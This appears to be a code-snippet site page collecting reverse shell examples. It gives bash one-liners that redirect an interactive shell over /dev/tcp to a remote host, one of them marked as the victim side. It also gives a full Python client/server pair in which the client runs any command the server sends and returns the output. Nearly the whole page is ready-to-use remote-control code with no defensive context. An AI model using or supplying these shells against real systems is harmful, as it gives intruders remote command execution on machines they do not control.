reverse shell bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
reverse shell bash
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
how to reverse shell
/bin/bash -i > /dev/tcp/0.0.0.0/9000 0<&1 2>&1 # Victim
socket reverse shell
import socket # client
import subprocess
import sys
SERVER_HOST = 'ip'
SERVER_PORT = 5003
BUFFER_SIZE = 1024
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
# receive the greeting message
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)
while True:
# receive the command from the server
command = s.recv(BUFFER_SIZE).decode()
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()
socket reverse shell
import socket #server
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 5003
BUFFER_SIZE = 1024
# create a socket object
s = socket.socket()
# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
# make the PORT reusable
# when you run the server multiple times in Linux, Address already in use error will raise
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Connected!")
# just sending a message, for demonstration purposes
message = "Hello and Welcome".encode()
client_socket.send(message)
while True:
# get the command from prompt
command = input("Enter the command you wanna execute:")
# send the command to the client
client_socket.send(command.encode())
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# retrieve command results
results = client_socket.recv(BUFFER_SIZE).decode()
# print them
print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()
Copyright © 2021 Codeinu
Forgot your account's password or having trouble logging into your Account? Don't worry, we'll help you to get back your account. Enter your email address and we'll send you a recovery link to reset your password. If you are experiencing problems resetting your password contact us